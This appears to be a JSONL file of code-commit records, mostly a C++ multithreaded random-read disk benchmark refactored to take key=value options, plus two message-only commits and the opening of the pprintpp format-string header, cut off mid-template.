{"text":"<commit_before><commit_msg>[RPC] Remove warning about wallet addresses in createmultisig()<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>warning C4800: 'unsigned long' : forcing value to bool 'true' or 'false'<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <sys\/time.h>\n#include <stdlib.h>\n#include <sys\/resource.h>\n#include <sys\/mman.h>\n#include <string.h>\n#include <errno.h>\n#include <pthread.h>\n\n#include \"cache.h\"\n\n\/\/#define USE_PROCESS\n\n#define NUM_PAGES 16384\n#define NUM_THREADS 32\nenum {\n\tNORMAL,\n\tDIRECT,\n\tMMAP,\n};\n\nint cache_hits;\noff_t *offset;\nint flags = O_RDONLY;\nint npages;\nint nthreads;\nstruct timeval global_start;\nchar static_buf[PAGE_SIZE * 8] __attribute__((aligned(PAGE_SIZE)));\nvolatile int first[NUM_THREADS];\n\nvoid permute_offset(off_t *offset, int num)\n{\n\tint i;\n\tfor (i = num - 1; i >= 1; i--) {\n\t\tint j = random() % i;\n\t\toff_t tmp = offset[j];\n\t\toffset[j] = offset[i];\n\t\toffset[i] = tmp;\n\t}\n}\n\nfloat time_diff(struct timeval time1, struct timeval time2)\n{\n\treturn time2.tv_sec - time1.tv_sec\n\t\t\t+ ((float)(time2.tv_usec - time1.tv_usec))\/1000000;\n}\n\n\/* this data structure stores the thread-private info. *\/\nclass thread_private\n{\npublic:\n#ifdef USE_PROCESS\n\tpid_t id;\n#else\n\tpthread_t id;\n#endif\n\t\/* the location in the thread descriptor array. *\/\n\tint idx;\n\t\/* where the data read from the disk is stored *\/\n\tchar *buf;\n\t\/* shows the locations in the array where data has be to stored.*\/\n\toff_t *buf_offset;\n\n\t\/* the range in the file where we need to read data. *\/\n\tint start_i;\n\tint end_i;\n\n\tvirtual ssize_t access(char *, off_t, ssize_t) = 0;\n\tvirtual int thread_init() = 0;\n\n\tthread_private(int idx) {\n\t\tthis->idx = idx;\n\t\tbuf = (char *) valloc(PAGE_SIZE * (NUM_PAGES \/ nthreads));\n\t\tbuf_offset = (off_t *) malloc(sizeof (*buf_offset) * NUM_PAGES \/ nthreads);\n\n\t\tif (buf == NULL){\n\t\t\tfprintf(stderr, \"can't allocate buffer\\n\");\n\t\t\texit(1);\n\t\t}\n\t\t\/* trigger page faults and bring pages to memory. *\/\n\t\tfor (int i = 0; i < NUM_PAGES \/ nthreads; i++)\n\t\t\tbuf[i * PAGE_SIZE] = 0;\n\n\t\tfor (int i = 0; i < NUM_PAGES \/ nthreads; i++)\n\t\t\tbuf_offset[i] = i;\n\t\tpermute_offset(buf_offset, NUM_PAGES \/ nthreads);\n\t}\n};\n\nclass read_private: public thread_private\n{\n\tchar *file_name;\n\tint fd;\npublic:\n\tread_private(char *name, int idx): thread_private(idx) {\n\t\tfile_name = name;\n\t}\n\n\tint thread_init() {\n\t\tint ret;\n\n\t\tfd = open(file_name, flags);\n\t\tif (fd < 0) {\n\t\t\tperror(\"open\");\n\t\t\texit (1);\n\t\t}\n\t\tret = posix_fadvise(fd, start_i,\n\t\t\t\tend_i, POSIX_FADV_RANDOM);\n\t\tif (ret < 0) {\n\t\t\tperror(\"posix_fadvise\");\n\t\t\texit(1);\n\t\t}\n\t\treturn 0;\n\t}\n\n\tssize_t access(char *buf, off_t offset, ssize_t size) {\n\t\toff_t ret = lseek(fd, offset, SEEK_SET);\n\t\tif (ret < 0) {\n\t\t\tperror(\"lseek\");\n\t\t\tprintf(\"%ld\\n\", offset);\n\t\t\texit(1);\n\t\t}\n\t\tret = read(fd, buf, size);\n\t\treturn ret;\n\t}\n};\n\nclass mmap_private: public thread_private\n{\n\tvoid *addr;\n\npublic:\n\tmmap_private(char *new_name, int idx): thread_private(idx) {\n\t\tstatic void *addr = NULL;\n\t\tstatic char *file_name = NULL;\n\t\t\/* if we are mapping to a different file, do the real mapping. *\/\n\t\tif (file_name == NULL || strcmp(file_name, new_name)) {\n\t\t\tint fd = open(new_name, flags);\n\t\t\tint ret;\n\n\t\t\tif (fd < 0) {\n\t\t\t\tperror(\"open\");\n\t\t\t\texit (1);\n\t\t\t}\n\t\t\taddr = mmap(NULL, ((ssize_t) npages) * PAGE_SIZE,\n\t\t\t\t\tPROT_READ, MAP_PRIVATE, fd, 0);\n\t\t\tif (addr == NULL) {\n\t\t\t\tperror(\"mmap\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tret = madvise(addr, ((ssize_t) npages) * PAGE_SIZE, MADV_RANDOM);\n\t\t\tif (ret < 0) {\n\t\t\t\tperror(\"madvise\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tfile_name = new_name;\n\t\t}\n\t\tthis->addr = addr;\n\t}\n\n\tint thread_init() {\n\t\treturn 0;\n\t}\n\n\tssize_t access(char *buf, off_t offset, ssize_t size) {\n\t\tint i;\n\t\tchar *page = (char *) addr + offset;\n\t\t\/* I try to avoid gcc optimization eliminating the code below,\n\t\t * and it works. *\/\n\t\tfirst[idx] = page[0];\n\t\t__asm__ __volatile__(\"\" : : \"g\"(&first[idx]));\n\t\treturn size;\n\t}\n};\n\nclass part_cached_private: public read_private\n{\n\tpage_cache *cache;\n\npublic:\n\tpart_cached_private(char *name, int idx): read_private(name, idx) { }\n\n\tssize_t access(char *buf, off_t offset, ssize_t size) {\n\t\tssize_t ret = cache->get_from_cache(buf, offset, size);\n\t\tif (ret < 0) {\n\t\t\tstruct page *p = cache->get_empty_page(offset);\n\t\t\tret = read_private::access((char *) p->get_data(),\n\t\t\t\t\tROUND_PAGE(offset), PAGE_SIZE);\n\t\t\tif (ret < 0) {\n\t\t\t\tperror(\"read\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tp->set_offset(offset);\n\t\t\toffset -= ROUND_PAGE(offset);\n\t\t\t\/* I assume the data I read never crosses the page boundary *\/\n\t\t\tmemcpy(buf, (char *) p->get_data() + offset, size);\n\t\t}\n\t\telse\n\t\t\tcache_hits++;\n\t\treturn ret;\n\t}\n};\n\nclass global_cached_private: public read_private\n{\n\tpage_cache *cache;\npublic:\n\tglobal_cached_private(char *name, int idx): read_private(name, idx) { }\n\n\tssize_t access(char *buf, off_t offset, ssize_t size) {\n\t\treturn 0;\n\t}\n};\n\nthread_private *threads[NUM_THREADS];\n\nvoid *rand_read(void *arg)\n{\n\tssize_t ret;\n\tint i, j, start_i, end_i;\n\tssize_t read_bytes = 0;\n\tstruct timeval start_time, end_time;\n\tthread_private *priv = threads[(long) arg];\n\tchar *buf;\n\toff_t *buf_offset;\n\tint fd;\n\n\tpriv->thread_init();\n\tstart_i = priv->start_i;\n\tend_i = priv->end_i;\n\tbuf = priv->buf;\n\tbuf_offset = priv->buf_offset;\n\n\tgettimeofday(&start_time, NULL);\n\tfor (i = start_i, j = 0; i < end_i; i++, j++) {\n\t\tif (j == NUM_PAGES \/ nthreads)\n\t\t\tj = 0;\n\t\tret = priv->access(buf + buf_offset[j] * PAGE_SIZE,\n\t\t\t\toffset[i], PAGE_SIZE);\n\t\tif (ret > 0)\n\t\t\tread_bytes += ret;\n\t\telse\n\t\t\tbreak;\n\t}\n\tif (ret < 0) {\n\t\tperror(\"read\");\n\t\texit(1);\n\t}\n\tgettimeofday(&end_time, NULL);\n\tprintf(\"read %ld bytes, start at %f seconds, takes %f seconds\\n\",\n\t\t\tread_bytes, time_diff(global_start, start_time),\n\t\t\ttime_diff(start_time, end_time));\n\t\n#ifdef USE_PROCESS\n\texit(read_bytes);\n#else\n\tpthread_exit((void *) read_bytes);\n#endif\n}\n\nint process_create(pid_t *pid, void (*func)(void *), void *priv)\n{\n\tpid_t id = fork();\n\n\tif (id < 0)\n\t\treturn -1;\n\n\tif (id == 0) {\t\/\/ child\n\t\tfunc(priv);\n\t\texit(0);\n\t}\n\n\tif (id > 0)\n\t\t*pid = id;\n\treturn 0;\n}\n\nint process_join(pid_t pid)\n{\n\tint status;\n\tpid_t ret = waitpid(pid, &status, 0);\n\treturn ret < 0 ? ret : 0;\n}\n\nenum {\n\tREAD_ACCESS,\n\tMMAP_ACCESS,\n\tLOCAL_CACHE_ACCESS,\n\tGLOBAL_CACHE_ACCESS\n};\n\nint main(int argc, char *argv[])\n{\n\tint cache_size = 512 * 1024 * 1024;\n\tint access_options;\n\tint ret;\n\tint i, j;\n\tstruct timeval start_time, end_time;\n\tssize_t read_bytes = 0;\n\tint is_mmap = 0;\n\tint num_files = 0;\n\tchar *file_names[NUM_THREADS];\n\n\tif (argc < 5) {\n\t\tfprintf(stderr, \"read files option num_pages num_threads\\n\");\n\t\texit(1);\n\t}\n\n\tswitch (atoi(argv[argc - 3])) {\n\t\tcase NORMAL:\n\t\t\taccess_options = READ_ACCESS;\n\t\t\tbreak;\n\t\tcase DIRECT:\n\t\t\tflags |= O_DIRECT;\n\t\t\taccess_options = READ_ACCESS;\n\t\t\tbreak;\n\t\tcase MMAP:\n\t\t\tis_mmap = 1;\n\t\t\taccess_options = MMAP_ACCESS;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tfprintf(stderr, \"wrong option\\n\");\n\t\t\texit(1);\n\t}\n\tnum_files = argc - 4;\n\tfor (i = 0; i < num_files; i++) {\n\t\tfile_names[i] = argv[1 + i];\n\t}\n\n\tnpages = atoi(argv[argc - 2]);\n\toffset = (off_t *) malloc(sizeof(*offset) * npages);\n\tfor(i = 0; i < npages; i++) {\n\t\toffset[i] = ((off_t) i) * 4096L;\n\t\tif (offset[i] < 0) {\n\t\t\tprintf(\"offset[%d]: %ld\\n\", i, offset[i]);\n\t\t\texit(1);\n\t\t}\n\t}\n\tpermute_offset(offset, npages);\n\n\tnthreads = atoi(argv[argc - 1]);\n\tif (nthreads > NUM_THREADS) {\n\t\tfprintf(stderr, \"too many threads\\n\");\n\t\texit(1);\n\t}\n\tif (num_files > 1 && num_files != nthreads) {\n\t\tfprintf(stderr, \"if there are multiple files, \\\n\t\t\t\tthe number of files must be the same as the number of threads\\n\");\n\t\texit(1);\n\t}\n\n\t\/* initialize the threads' private data. *\/\n\tfor (j = 0; j < nthreads; j++) {\n\t\tchar *file_name;\n\t\tif (num_files > 1) {\n\t\t\tfile_name = file_names[j];\n\t\t}\n\t\telse {\n\t\t\tfile_name = file_names[0];\n\t\t}\n\t\tswitch (access_options) {\n\t\t\tcase READ_ACCESS:\n\t\t\t\tthreads[j] = new read_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tcase MMAP_ACCESS:\n\t\t\t\tthreads[j] = new mmap_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tcase LOCAL_CACHE_ACCESS:\n\t\t\t\tthreads[j] = new part_cached_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tcase GLOBAL_CACHE_ACCESS:\n\t\t\t\tthreads[j] = new global_cached_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tfprintf(stderr, \"wrong access option\\n\");\n\t\t\t\texit(1);\n\t\t}\n\t\t\n\t\tif (num_files > 1) {\n\t\t\tthreads[j]->start_i = 0;\n\t\t\tthreads[j]->end_i = npages;\n\t\t}\n\t\telse {\n\t\t\tthreads[j]->start_i = npages \/ nthreads * j;\n\t\t\tthreads[j]->end_i = threads[j]->start_i + npages \/ nthreads;\n\t\t}\n\t}\n\n\tret = setpriority(PRIO_PROCESS, getpid(), -20);\n\tif (ret < 0) {\n\t\tperror(\"setpriority\");\n\t\texit(1);\n\t}\n\n\tgettimeofday(&start_time, NULL);\n\tglobal_start = start_time;\n\tfor (i = 0; i < nthreads; i++) {\n#ifdef USE_PROCESS\n\t\tret = process_create(&threads[i]->id, rand_read, (void *) i);\n#else\n\t\tret = pthread_create(&threads[i]->id, NULL, rand_read, (void *) i);\n#endif\n\t\tif (ret) {\n\t\t\tperror(\"pthread_create\");\n\t\t\texit(1);\n\t\t}\n\t}\n\n\tfor (i = 0; i < nthreads; i++) {\n\t\tssize_t size;\n#ifdef USE_PROCESS\n\t\tret = process_join(threads[i]->id);\n#else\n\t\tret = pthread_join(threads[i]->id, (void **) &size);\n#endif\n\t\tif (ret) {\n\t\t\tperror(\"pthread_join\");\n\t\t\texit(1);\n\t\t}\n\t\tread_bytes += size;\n\t}\n\tgettimeofday(&end_time, NULL);\n\tprintf(\"read %ld bytes, takes %f seconds\\n\",\n\t\t\tread_bytes, end_time.tv_sec - start_time.tv_sec\n\t\t\t+ ((float)(end_time.tv_usec - start_time.tv_usec))\/1000000);\n\tprintf(\"there are %d cache hits\\n\", cache_hits);\n}\n<commit_msg>make options more extensible.<commit_after>#include <stdio.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <sys\/time.h>\n#include <stdlib.h>\n#include <sys\/resource.h>\n#include <sys\/mman.h>\n#include <string.h>\n#include <errno.h>\n#include <pthread.h>\n\n#include <iostream>\n#include <string>\n\n#include \"cache.h\"\n\n\/\/#define USE_PROCESS\n\n#define NUM_PAGES 16384\n#define NUM_THREADS 32\nenum {\n\tNORMAL,\n\tDIRECT,\n\tMMAP,\n};\n\nint cache_hits;\noff_t *offset;\nint npages;\nint nthreads = 1;\nstruct timeval global_start;\nchar static_buf[PAGE_SIZE * 8] __attribute__((aligned(PAGE_SIZE)));\nvolatile int first[NUM_THREADS];\n\nvoid permute_offset(off_t *offset, int num)\n{\n\tint i;\n\tfor (i = num - 1; i >= 1; i--) {\n\t\tint j = random() % i;\n\t\toff_t tmp = offset[j];\n\t\toffset[j] = offset[i];\n\t\toffset[i] = tmp;\n\t}\n}\n\nfloat time_diff(struct timeval time1, struct timeval time2)\n{\n\treturn time2.tv_sec - time1.tv_sec\n\t\t\t+ ((float)(time2.tv_usec - time1.tv_usec))\/1000000;\n}\n\n\/* this data structure stores the thread-private info. *\/\nclass thread_private\n{\npublic:\n#ifdef USE_PROCESS\n\tpid_t id;\n#else\n\tpthread_t id;\n#endif\n\t\/* the location in the thread descriptor array. *\/\n\tint idx;\n\t\/* where the data read from the disk is stored *\/\n\tchar *buf;\n\t\/* shows the locations in the array where data has be to stored.*\/\n\toff_t *buf_offset;\n\n\t\/* the range in the file where we need to read data. *\/\n\tint start_i;\n\tint end_i;\n\n\tvirtual ssize_t access(char *, off_t, ssize_t) = 0;\n\tvirtual int thread_init() = 0;\n\n\tthread_private(int idx) {\n\t\tthis->idx = idx;\n\t\tbuf = (char *) valloc(PAGE_SIZE * (NUM_PAGES \/ nthreads));\n\t\tbuf_offset = (off_t *) malloc(sizeof (*buf_offset) * NUM_PAGES \/ nthreads);\n\n\t\tif (buf == NULL){\n\t\t\tfprintf(stderr, \"can't allocate buffer\\n\");\n\t\t\texit(1);\n\t\t}\n\t\t\/* trigger page faults and bring pages to memory. *\/\n\t\tfor (int i = 0; i < NUM_PAGES \/ nthreads; i++)\n\t\t\tbuf[i * PAGE_SIZE] = 0;\n\n\t\tfor (int i = 0; i < NUM_PAGES \/ nthreads; i++)\n\t\t\tbuf_offset[i] = i;\n\t\tpermute_offset(buf_offset, NUM_PAGES \/ nthreads);\n\t}\n};\n\nclass read_private: public thread_private\n{\n\tconst char *file_name;\n\tint fd;\n\tint flags;\npublic:\n\tread_private(const char *name, int idx, int flags = O_RDONLY): thread_private(idx), file_name(name) {\n\t\tthis->flags = flags;\n\t}\n\n\tint thread_init() {\n\t\tint ret;\n\n\t\tfd = open(file_name, flags);\n\t\tif (fd < 0) {\n\t\t\tperror(\"open\");\n\t\t\texit (1);\n\t\t}\n\t\tret = posix_fadvise(fd, start_i,\n\t\t\t\tend_i, POSIX_FADV_RANDOM);\n\t\tif (ret < 0) {\n\t\t\tperror(\"posix_fadvise\");\n\t\t\texit(1);\n\t\t}\n\t\treturn 0;\n\t}\n\n\tssize_t access(char *buf, off_t offset, ssize_t size) {\n\t\toff_t ret = lseek(fd, offset, SEEK_SET);\n\t\tif (ret < 0) {\n\t\t\tperror(\"lseek\");\n\t\t\tprintf(\"%ld\\n\", offset);\n\t\t\texit(1);\n\t\t}\n\t\tret = read(fd, buf, size);\n\t\treturn ret;\n\t}\n};\n\nclass direct_private: public read_private\n{\npublic:\n\tdirect_private(const char *name, int idx): read_private(name, idx,\n\t\t\tO_DIRECT | O_RDONLY) {}\n};\n\nclass mmap_private: public thread_private\n{\n\tvoid *addr;\n\npublic:\n\tmmap_private(const char *new_name, int idx): thread_private(idx) {\n\t\tstatic void *addr = NULL;\n\t\tstatic const char *file_name = NULL;\n\t\t\/* if we are mapping to a different file, do the real mapping. *\/\n\t\tif (file_name == NULL || strcmp(file_name, new_name)) {\n\t\t\tint fd = open(new_name, O_RDONLY);\n\t\t\tint ret;\n\n\t\t\tif (fd < 0) {\n\t\t\t\tperror(\"open\");\n\t\t\t\texit (1);\n\t\t\t}\n\t\t\taddr = mmap(NULL, ((ssize_t) npages) * PAGE_SIZE,\n\t\t\t\t\tPROT_READ, MAP_PRIVATE, fd, 0);\n\t\t\tif (addr == NULL) {\n\t\t\t\tperror(\"mmap\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tret = madvise(addr, ((ssize_t) npages) * PAGE_SIZE, MADV_RANDOM);\n\t\t\tif (ret < 0) {\n\t\t\t\tperror(\"madvise\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tfile_name = new_name;\n\t\t}\n\t\tthis->addr = addr;\n\t}\n\n\tint thread_init() {\n\t\treturn 0;\n\t}\n\n\tssize_t access(char *buf, off_t offset, ssize_t size) {\n\t\tint i;\n\t\tchar *page = (char *) addr + offset;\n\t\t\/* I try to avoid gcc optimization eliminating the code below,\n\t\t * and it works. *\/\n\t\tfirst[idx] = page[0];\n\t\t__asm__ __volatile__(\"\" : : \"g\"(&first[idx]));\n\t\treturn size;\n\t}\n};\n\nclass part_cached_private: public direct_private\n{\n\tpage_cache *cache;\n\npublic:\n\tpart_cached_private(const char *name, int idx): direct_private(name, idx) {\n\t}\n\n\tssize_t access(char *buf, off_t offset, ssize_t size) {\n\t\tssize_t ret = cache->get_from_cache(buf, offset, size);\n\t\tif (ret < 0) {\n\t\t\tstruct page *p = cache->get_empty_page(offset);\n\t\t\tret = read_private::access((char *) p->get_data(),\n\t\t\t\t\tROUND_PAGE(offset), PAGE_SIZE);\n\t\t\tif (ret < 0) {\n\t\t\t\tperror(\"read\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tp->set_offset(offset);\n\t\t\toffset -= ROUND_PAGE(offset);\n\t\t\t\/* I assume the data I read never crosses the page boundary *\/\n\t\t\tmemcpy(buf, (char *) p->get_data() + offset, size);\n\t\t}\n\t\telse\n\t\t\tcache_hits++;\n\t\treturn ret;\n\t}\n};\n\nclass global_cached_private: public direct_private\n{\n\tpage_cache *cache;\npublic:\n\tglobal_cached_private(const char *name, int idx): direct_private(name, idx) { }\n\n\tssize_t access(char *buf, off_t offset, ssize_t size) {\n\t\treturn 0;\n\t}\n};\n\nthread_private *threads[NUM_THREADS];\n\nvoid *rand_read(void *arg)\n{\n\tssize_t ret;\n\tint i, j, start_i, end_i;\n\tssize_t read_bytes = 0;\n\tstruct timeval start_time, end_time;\n\tthread_private *priv = threads[(long) arg];\n\tchar *buf;\n\toff_t *buf_offset;\n\tint fd;\n\n\tpriv->thread_init();\n\tstart_i = priv->start_i;\n\tend_i = priv->end_i;\n\tbuf = priv->buf;\n\tbuf_offset = priv->buf_offset;\n\n\tgettimeofday(&start_time, NULL);\n\tfor (i = start_i, j = 0; i < end_i; i++, j++) {\n\t\tif (j == NUM_PAGES \/ nthreads)\n\t\t\tj = 0;\n\t\tret = priv->access(buf + buf_offset[j] * PAGE_SIZE,\n\t\t\t\toffset[i], PAGE_SIZE);\n\t\tif (ret > 0)\n\t\t\tread_bytes += ret;\n\t\telse\n\t\t\tbreak;\n\t}\n\tif (ret < 0) {\n\t\tperror(\"read\");\n\t\texit(1);\n\t}\n\tgettimeofday(&end_time, NULL);\n\tprintf(\"read %ld bytes, start at %f seconds, takes %f seconds\\n\",\n\t\t\tread_bytes, time_diff(global_start, start_time),\n\t\t\ttime_diff(start_time, end_time));\n\t\n#ifdef USE_PROCESS\n\texit(read_bytes);\n#else\n\tpthread_exit((void *) read_bytes);\n#endif\n}\n\nint process_create(pid_t *pid, void (*func)(void *), void *priv)\n{\n\tpid_t id = fork();\n\n\tif (id < 0)\n\t\treturn -1;\n\n\tif (id == 0) {\t\/\/ child\n\t\tfunc(priv);\n\t\texit(0);\n\t}\n\n\tif (id > 0)\n\t\t*pid = id;\n\treturn 0;\n}\n\nint process_join(pid_t pid)\n{\n\tint status;\n\tpid_t ret = waitpid(pid, &status, 0);\n\treturn ret < 0 ? ret : 0;\n}\n\nenum {\n\tREAD_ACCESS,\n\tDIRECT_ACCESS,\n\tMMAP_ACCESS,\n\tLOCAL_CACHE_ACCESS,\n\tGLOBAL_CACHE_ACCESS\n};\n\nstruct access_method {\n\tstd::string name;\n\tint access;\n} methods[] = {\n\t\"normal\", READ_ACCESS,\n\t\"direct\", DIRECT_ACCESS,\n\t\"mmap\", MMAP_ACCESS,\n\t\"local_cache\", LOCAL_CACHE_ACCESS,\n\t\"global_cache\", GLOBAL_CACHE_ACCESS\n};\n\nvoid print_methods() {\n\tstd::cout<<\"available methods: \";\n\tint num_methods = sizeof(methods) \/ sizeof(methods[0]);\n\tfor (int i = 0; i < num_methods; i++) {\n\t\tstd::cout<<methods[i].name;\n\t\tif (i < num_methods - 1)\n\t\t\tstd::cout<<\", \";\n\t}\n\tstd::cout<<std::endl;\n}\n\nint map_method(const std::string &method)\n{\n\tint num_methods = sizeof(methods) \/ sizeof(methods[0]);\n\tfor (int i = 0; i < num_methods; i++) {\n\t\tif (methods[i].name.compare(method) == 0)\n\t\t\treturn i;\n\t}\n\treturn -1;\n}\n\nint main(int argc, char *argv[])\n{\n\tint cache_size = 512 * 1024 * 1024;\n\tint entry_size = 128;\n\tint access_option;\n\tint ret;\n\tint i, j;\n\tstruct timeval start_time, end_time;\n\tssize_t read_bytes = 0;\n\tint num_files = 0;\n\tstd::string file_names[NUM_THREADS];\n\n\tif (argc < 5) {\n\t\tfprintf(stderr, \"read files option pages threads cache_size entry_size\\n\");\n\t\tprint_methods();\n\t\texit(1);\n\t}\n\n\tfor (int i = 1; i < argc; i++) {\n\t\tstd::string str = argv[i];\n\t\tsize_t found = str.find(\"=\");\n\t\t\/* if there isn't `=', I assume it's a file name*\/\n\t\tif (found == std::string::npos) {\n\t\t\tfile_names[num_files++] = str;\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::string value = str.substr(found + 1);\n\t\tstd::string key = str.substr(0, found);\n\t\tif (key.compare(\"option\") == 0) {\n\t\t\taccess_option = map_method(value);\n\t\t\tif (access_option < 0) {\n\t\t\t\tfprintf(stderr, \"can't find the right option\\n\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t}\n\t\telse if(key.compare(\"pages\") == 0) {\n\t\t\tnpages = atoi(value.c_str());\n\t\t}\n\t\telse if(key.compare(\"threads\") == 0) {\n\t\t\tnthreads = atoi(value.c_str());\n\t\t}\n\t\telse if(key.compare(\"cache_size\") == 0) {\n\t\t\tcache_size = atoi(value.c_str());\n\t\t}\n\t\telse if(key.compare(\"entry_size\") == 0) {\n\t\t\tentry_size = atoi(value.c_str());\n\t\t}\n\t\telse {\n\t\t\tfprintf(stderr, \"wrong option\\n\");\n\t\t\texit(1);\n\t\t}\n\t}\n\n\toffset = (off_t *) malloc(sizeof(*offset) * npages);\n\tfor(i = 0; i < npages; i++) {\n\t\toffset[i] = ((off_t) i) * 4096L;\n\t\tif (offset[i] < 0) {\n\t\t\tprintf(\"offset[%d]: %ld\\n\", i, offset[i]);\n\t\t\texit(1);\n\t\t}\n\t}\n\tpermute_offset(offset, npages);\n\n\tif (nthreads > NUM_THREADS) {\n\t\tfprintf(stderr, \"too many threads\\n\");\n\t\texit(1);\n\t}\n\tif (num_files > 1 && num_files != nthreads) {\n\t\tfprintf(stderr, \"if there are multiple files, \\\n\t\t\t\tthe number of files must be the same as the number of threads\\n\");\n\t\texit(1);\n\t}\n\n\t\/* initialize the threads' private data. *\/\n\tfor (j = 0; j < nthreads; j++) {\n\t\tconst char *file_name;\n\t\tif (num_files > 1) {\n\t\t\tfile_name = file_names[j].c_str();\n\t\t}\n\t\telse {\n\t\t\tfile_name = file_names[0].c_str();\n\t\t}\n\t\tswitch (access_option) {\n\t\t\tcase READ_ACCESS:\n\t\t\t\tthreads[j] = new read_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tcase DIRECT_ACCESS:\n\t\t\t\tthreads[j] = new direct_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tcase MMAP_ACCESS:\n\t\t\t\tthreads[j] = new mmap_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tcase LOCAL_CACHE_ACCESS:\n\t\t\t\tthreads[j] = new part_cached_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tcase GLOBAL_CACHE_ACCESS:\n\t\t\t\tthreads[j] = new global_cached_private(file_name, j);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tfprintf(stderr, \"wrong access option\\n\");\n\t\t\t\texit(1);\n\t\t}\n\t\t\n\t\tif (num_files > 1) {\n\t\t\tthreads[j]->start_i = 0;\n\t\t\tthreads[j]->end_i = npages;\n\t\t}\n\t\telse {\n\t\t\tthreads[j]->start_i = npages \/ nthreads * j;\n\t\t\tthreads[j]->end_i = threads[j]->start_i + npages \/ nthreads;\n\t\t}\n\t}\n\n\tret = setpriority(PRIO_PROCESS, getpid(), -20);\n\tif (ret < 0) {\n\t\tperror(\"setpriority\");\n\t\texit(1);\n\t}\n\n\tgettimeofday(&start_time, NULL);\n\tglobal_start = start_time;\n\tfor (i = 0; i < nthreads; i++) {\n#ifdef USE_PROCESS\n\t\tret = process_create(&threads[i]->id, rand_read, (void *) i);\n#else\n\t\tret = pthread_create(&threads[i]->id, NULL, rand_read, (void *) i);\n#endif\n\t\tif (ret) {\n\t\t\tperror(\"pthread_create\");\n\t\t\texit(1);\n\t\t}\n\t}\n\n\tfor (i = 0; i < nthreads; i++) {\n\t\tssize_t size;\n#ifdef USE_PROCESS\n\t\tret = process_join(threads[i]->id);\n#else\n\t\tret = pthread_join(threads[i]->id, (void **) &size);\n#endif\n\t\tif (ret) {\n\t\t\tperror(\"pthread_join\");\n\t\t\texit(1);\n\t\t}\n\t\tread_bytes += size;\n\t}\n\tgettimeofday(&end_time, NULL);\n\tprintf(\"read %ld bytes, takes %f seconds\\n\",\n\t\t\tread_bytes, end_time.tv_sec - start_time.tv_sec\n\t\t\t+ ((float)(end_time.tv_usec - start_time.tv_usec))\/1000000);\n\tprintf(\"there are %d cache hits\\n\", cache_hits);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * MIT License\n *\n * Copyright (c) 2016 Jacek Galowicz\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n#pragma once\n\n#include <tuple>\n#include <type_traits>\n#include \"charlist.hpp\"\n\nnamespace pprintpp {\n\ntemplate <typename T> struct always_false { static constexpr bool value {false}; };\n\nusing namespace typelist;\nusing namespace charlist;\n\ntemplate <typename T> struct type2fmt;\n\ntemplate <> struct type2fmt<char>                { using type = char_tl_t<'c'>; };\ntemplate <> struct type2fmt<short>               { using type = char_tl_t<'d'>; };\ntemplate <> struct type2fmt<int>                 { using type = char_tl_t<'d'>; };\ntemplate <> struct type2fmt<long int>            { using type = char_tl_t<'l', 'd'>; };\ntemplate <> struct type2fmt<long long int>       { using type = char_tl_t<'l', 'l', 'd'>; };\ntemplate <> struct type2fmt<unsigned char>       { using type = char_tl_t<'u'>; };\ntemplate <> struct type2fmt<unsigned short>      { using type = char_tl_t<'u'>; };\ntemplate <> struct type2fmt<unsigned>            { using type = char_tl_t<'u'>; };\ntemplate <> struct type2fmt<unsigned long>       { using type = char_tl_t<'l', 'u'>; };\ntemplate <> struct type2fmt<unsigned long long>  { using type = char_tl_t<'l', 'l', 'u'>; };\n\ntemplate <> struct type2fmt<bool>                { using type = char_tl_t<'d'>; };\n\ntemplate <> struct type2fmt<float>  { using type = char_tl_t<'f'>; };\ntemplate <> struct type2fmt<double> { using type = char_tl_t<'l', 'f'>; };\n\ntemplate <> struct type2fmt<std::nullptr_t> { using type = char_tl_t<'p'>; };\ntemplate <typename T> struct type2fmt<T*>   { using type = char_tl_t<'p'>; };\n\ntemplate <typename T, typename FL>\nstruct format_str {\n    using raw_T = typename std::remove_cv<T>::type;\n    static constexpr bool s_fmt {contains<FL, char_t<'s'>>::value};\n    static constexpr bool is_str {std::is_same<char,\n        typename std::remove_cv<\n            typename 